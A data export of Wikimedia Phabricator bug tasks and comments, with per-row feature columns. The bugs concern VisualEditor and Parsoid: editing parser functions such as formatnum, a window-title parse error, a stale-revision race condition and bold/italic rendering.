51954,"Provide a neater way to edit transclusions that do not take a pipe (e.g. {{formatnum:…}}, {{lc:…}}, {{int:…}}, {{#dateformat:…}}})","If I try to edit a number in a {{formatnum:…}}, the VisualEditor displays the template’s edition window, saying it is (for example) the 'formatnum:959719' template, without any parameter. So if I want to change the number, I need to remove the 'template' and then to add a new one, for example 'formatnum:958719'.

The editor should allow changing the number without having to remove the 'template'.
",Medium,50.0,1371816900,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-ynxqancujipoqcvx5723,task_description,open,True,c1,2,False,False,,-2,,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,9.0,0.0,0.0,0.0,3.0,0.0,2.0,14.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,8.0,2.0,1.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,14.0,2.0,0.0,9.0,0.0,4.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6630434782608696,0.5869565217391305,"If I try to edit a number in a {{formatnum:…}}, the VisualEditor displays the template’s edition window, saying it is (for example) the 'formatnum:959719' template, without any parameter. So if I want to change the number, I need to remove the 'template' and then to add a new one, for example 'formatnum:958719'.

The editor should allow changing the number without having to remove the 'template'.
"
2269276,"Provide a neater way to edit transclusions that do not take a pipe (e.g. {{formatnum:…}}, {{lc:…}}, {{int:…}}, {{#dateformat:…}}})","Is there any way to put this on the agenda? This bug is already 10 years old. In the Norwegian Bokmål Wikipedia, we use `{{formatnum:}}` even in normal text in articles, and like Danmichaelo said above, the only way to edit such numbers in Visual Editor is to delete the number and insert the new number (and then it won't have the proper formatting).",,,1706714108,,PHID-USER-jqjb54lbf7psat6shbcc,False,,,PHID-TASK-ynxqancujipoqcvx5723,task_subcomment,,True,c1,3,False,,,552,,1.0,0.0,0.0,0.0,1.0,8.0,1.0,0.0,0.0,0.0,5.0,1.0,0.0,1.0,1.0,1.0,1.0,7.0,12.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,14.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,3.0,12.0,10.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.780821917808219,0.7671232876712328,"Is there any way to put this on the agenda? This bug is already 10 years old. In the Norwegian Bokmål Wikipedia, we use CODE even in normal text in articles, and like Danmichaelo said above, the only way to edit such numbers in Visual Editor is to delete the number and insert the new number (and then it won't have the proper formatting)."
1568872,"Provide a neater way to edit transclusions that do not take a pipe (e.g. {{formatnum:…}}, {{lc:…}}, {{int:…}}, {{#dateformat:…}}})","Related: {T204370} and {T204371}, although VE would probably still have to know enough to translate the 'old style' syntax into the newer uniform syntax.",,,1598465114,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ynxqancujipoqcvx5723,task_subcomment,,True,c1,3,True,,,373,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.9393939393939394,0.8181818181818182,"Related: {T204370} and {T204371}, although VE would probably still have to know enough to translate the 'old style' syntax into the newer uniform syntax."
884671,"Provide a neater way to edit transclusions that do not take a pipe (e.g. {{formatnum:…}}, {{lc:…}}, {{int:…}}, {{#dateformat:…}}})",">>! In T51954#3388374, @Danmichaelo wrote:
> Was hit by this limitation when I was editing an article now. Couldn't find any way to edit the number except to delete it, so I changed the title to reflect that.

Thanks for the input, but please don't make bugs less general. You can add further examples of how they affect you, but that should be as a comment or in the description, not removing other things that are already covered by this task. For instance, this also applies to the `#dateformat`, `lc`, and `int` transclusion objects.",,,1498746227,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ynxqancujipoqcvx5723,task_subcomment,,True,c1,3,True,,,208,,0.0,0.0,0.0,1.0,3.0,4.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,17.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,11.0,1.0,6.0,10.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,4.0,10.0,1.0,0.0,0.0,0.0,4.0,0.0,3.0,1.0,0.0,1.0,1.0,0.0,0.0,3.9285714285714284,0.7857142857142857,"QUOTE
QUOTE

Thanks for the input, but please don't make bugs less general. You can add further examples of how they affect you, but that should be as a comment or in the description, not removing other things that are already covered by this task. For instance, this also applies to the CODE, CODE, and CODE transclusion objects."
884165,"Provide a neater way to edit transclusions that do not take a pipe (e.g. {{formatnum:…}}, {{lc:…}}, {{int:…}}, {{#dateformat:…}}})","Was hit by this limitation when I was editing an article now. Couldn't find any way to edit the number except to delete it, so I changed the title to reflect that.",,,1498680522,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-ynxqancujipoqcvx5723,task_subcomment,,True,c1,3,False,,,208,,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,11.0,14.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,8.0,6.0,11.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6666666666666665,0.8611111111111112,"Was hit by this limitation when I was editing an article now. Couldn't find any way to edit the number except to delete it, so I changed the title to reflect that."
235790,"Provide a neater way to edit transclusions that do not take a pipe (e.g. {{formatnum:…}}, {{lc:…}}, {{int:…}}, {{#dateformat:…}}})","""{{formatnum:…}} is not a template"" - true

For this, Parsoid takes wikitext like:

  This was {{formatnum:1234567890}} years ago.

… and gives us HTML of:

<p data-parsoid=""…"">This was <span about=""#mwt1"" typeof=""mw:Transclusion"" data-mw=""{'target':{'wt':'formatnum:1234567890','function':'formatnum'}"" data-parsoid=""…"">1,234,567,890</span> years ago.</p>

… so maybe we'd want to special-case on 'function':'formatnum' so that they're easier to edit?",,,1371827641,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ynxqancujipoqcvx5723,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,3.0,9.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,5.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,3.0,9.0,11.0,1.0,8.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,3.0,4.173469387755102,0.6326530612244898,"""{{formatnum:…}} is not a template"" - true

For this, Parsoid takes wikitext like:

  This was {{formatnum:1234567890}} years ago.

… and gives us HTML of:

<p data-parsoid=""…"">This was <span about=""#mwt1"" typeof=""mw:Transclusion"" data-mw=""{'target':{'wt':'formatnum:1234567890','function':'formatnum'}"" data-parsoid=""…"">1,234,567,890</span> years ago.</p>

… so maybe we'd want to special-case on 'function':'formatnum' so that they're easier to edit?"
51951,"Window title for ""Creating"" should support parser functions","The browser window title is changed to ""Parse error at position 0 in input {{""}}{{{1|$1}}}{{""}}"" when editing an article with the VisualEditor on dewp. Reproducible in many articles and at least Firefox and Chromium.
",Medium,50.0,1371806460,1428960831.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_description,declined,True,c1,2,True,False,False,-2,,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,11.0,2.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,13.0,9.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,3.3454545454545452,0.6545454545454545,"The browser window title is changed to ""Parse error at position 0 in input {{""}}{{{1|$1}}}{{""}}"" when editing an article with the VisualEditor on dewp. Reproducible in many articles and at least Firefox and Chromium.
"
443120,"Window title for ""Creating"" should support parser functions","(If they're wontfix, then let's decline them.)",,,1428960831,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.076923076923077,1.0,"(If they're wontfix, then let's decline them.)"
442066,"Window title for ""Creating"" should support parser functions","This and T95711 are wontfix. These localisation messages should not use parser functions. This was never intentionally supported and whatever localisation needs exist in German that need this should be filed as a separate task against MediaWiki core to find a way to support that.

Complex parser functions will not be supported in this interface message. ",,,1428691205,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,3,True,,,92,,0.0,0.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,3.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,11.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.934426229508197,0.7213114754098361,"This and T95711 are wontfix. These localisation messages should not use parser functions. This was never intentionally supported and whatever localisation needs exist in German that need this should be filed as a separate task against MediaWiki core to find a way to support that.

Complex parser functions will not be supported in this interface message. "
441979,"Window title for ""Creating"" should support parser functions","(No ""Parse error at position 0"" since T54479 was fixed.)",,,1428685485,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,3,True,,,92,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,13.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1333333333333333,0.9333333333333333,"(No ""Parse error at position 0"" since T54479 was fixed.)"
441974,"Window title for ""Creating"" should support parser functions","This is still a problem, currently only visible when creating a new page because https://de.wikipedia.org/w/index.php?title=MediaWiki:Editing&action=edit no longer has the templates, but https://de.wikipedia.org/w/index.php?title=MediaWiki:Creating&action=edit still does. T95711 is the same bug for MediaWiki's live preview feature.",,,1428685233,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,3,True,,,92,,0.0,0.0,0.0,0.0,0.0,10.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,13.0,5.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,3.0,0.0,0.0,4.128205128205129,0.8205128205128205,"This is still a problem, currently only visible when creating a new page because URL no longer has the templates, but URL still does. T95711 is the same bug for MediaWiki's live preview feature."
235683,"Window title for ""Creating"" should support parser functions","This is still an issue. I've restored MediaWiki:Editing on testwiki for demonstration purposes.

Krinkle has stated ""Don't use wikitext in this message"" (MediaWiki:Editing), but he didn't give a reason. Since parser functions, etc. work fine in this message in MediaWiki core, I think we should expect VE to handle them too, or else it should use a different message that specifically does not support fancy stuff.",,,1393633921,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,3.0,2.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,8.0,0.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,14.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,3.0,1.0,14.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,8.0,7.0,0.0,2.0,0.0,7.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,2.0,4.022988505747127,0.7471264367816092,"This is still an issue. I've restored MediaWiki:Editing on testwiki for demonstration purposes.

Krinkle has stated ""Don't use wikitext in this message"" (MediaWiki:Editing), but he didn't give a reason. Since parser functions, etc. work fine in this message in MediaWiki core, I think we should expect VE to handle them too, or else it should use a different message that specifically does not support fancy stuff."
235680,"Window title for ""Creating"" should support parser functions",This seems solved now on dewp. Good to close from my side.,,,1372530530,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,0.9285714285714286,This seems solved now on dewp. Good to close from my side.
235677,"Window title for ""Creating"" should support parser functions","This seems to be caused by the templates in [[de:MediaWiki:Editing]]. 

Can be seen on testwiki as well, where parser functions are the cause ([[testwiki:MediaWiki:Editing]]).",,,1371813154,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-z4fhfn54bwmdzbvrehbm,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,13.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,3.3043478260869565,0.6739130434782609,"This seems to be caused by the templates in [[de:MediaWiki:Editing]]. 

Can be seen on testwiki as well, where parser functions are the cause ([[testwiki:MediaWiki:Editing]])."
51943,"VisualEditor: ""Edit"" should load the latest version without hardcoding the ""current"" revision id (due to race condition and cache)","Steps to reproduce:
1. open article in browser window
2. open same article in another browser window, edit, save changes
3. edit with VE in first window

Expected result: VE show some sort of warning, and loads the newest version of the article (or maybe refuses to edit it at all).

Actual result: VE happily edits the old revision, and shows [[MediaWiki:Editingold]].

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1371799440,1373334098.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,,False,PHID-TASK-uebopddiz3ehqfkg326y,task_description,resolved,True,c1,2,False,False,True,-2,,1.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,8.0,0.0,2.5,3.5,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,5.5,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,4.0,3.6567489114658924,0.6857764876632801,"Steps to reproduce:
1. open article in browser window
2. open same article in another browser window, edit, save changes
3. edit with VE in first window

Expected result: VE show some sort of warning, and loads the newest version of the article (or maybe refuses to edit it at all).

Actual result: VE happily edits the old revision, and shows [[MediaWiki:Editingold]].

--------------------------
**Version**: unspecified
**Severity**: minor"
235288,"VisualEditor: ""Edit"" should load the latest version without hardcoding the ""current"" revision id (due to race condition and cache)","This is now deployed and appears to be working as expected in production, according to my testing. Marking as fixed. Please re-open if you find otherwise.",,,1373328441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uebopddiz3ehqfkg326y,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.03125,0.875,"This is now deployed and appears to be working as expected in production, according to my testing. Marking as fixed. Please re-open if you find otherwise."
235278,"VisualEditor: ""Edit"" should load the latest version without hardcoding the ""current"" revision id (due to race condition and cache)","Change 72070 merged by jenkins-bot:
mw.ViewPageTarget: Fix incorrect retention of the wrong oldid

https://gerrit.wikimedia.org/r/72070",,,1373325381,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uebopddiz3ehqfkg326y,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.454545454545454,0.9545454545454546,"Change 72070 merged by jenkins-bot:
mw.ViewPageTarget: Fix incorrect retention of the wrong oldid

GERRIT_URL"
235270,"VisualEditor: ""Edit"" should load the latest version without hardcoding the ""current"" revision id (due to race condition and cache)","Change 72070 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Fix incorrect retention of the wrong oldid

https://gerrit.wikimedia.org/r/72070",,,1373300386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uebopddiz3ehqfkg326y,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.6,0.96,"Change 72070 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Fix incorrect retention of the wrong oldid

GERRIT_URL"
51926,Parsoid not correctly rendering bold/italic text,"See, for example, the lead of https://en.wikipedia.org/wiki/Flaming_Pie in the VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1371789600,1377546664.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-gk2mpik33dhlthfx6ji5,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.774193548387097,0.6451612903225806,"See, for example, the lead of URL in the VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: normal"
233872,Parsoid not correctly rendering bold/italic text,"Verified that [[Flaming Pie]], [[Dictionary]], [[Moon]], [[Metallica_(album)]], and [[User:Kww/italictest3]] are rendered correctly in the deployed Parsoid/Visual Editor. Closing as fixed.",,,1377546664,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,23.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,23.0,3.188679245283019,0.5660377358490566,"Verified that [[Flaming Pie]], [[Dictionary]], [[Moon]], [[Metallica_(album)]], and [[User:Kww/italictest3]] are rendered correctly in the deployed Parsoid/Visual Editor. Closing as fixed."
233866,Parsoid not correctly rendering bold/italic text,"Change 79925 merged by jenkins-bot:
Tweak QuoteTransformer to more closely match PHP doQuotes.

https://gerrit.wikimedia.org/r/79925",,,1377035685,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.75,1.0,"Change 79925 merged by jenkins-bot:
Tweak QuoteTransformer to more closely match PHP doQuotes.

GERRIT_URL"
233862,Parsoid not correctly rendering bold/italic text,"Change 79925 had a related patch set uploaded by Cscott:
WIP: Tweak QuoteTransformer to more closely match PHP doQuotes.

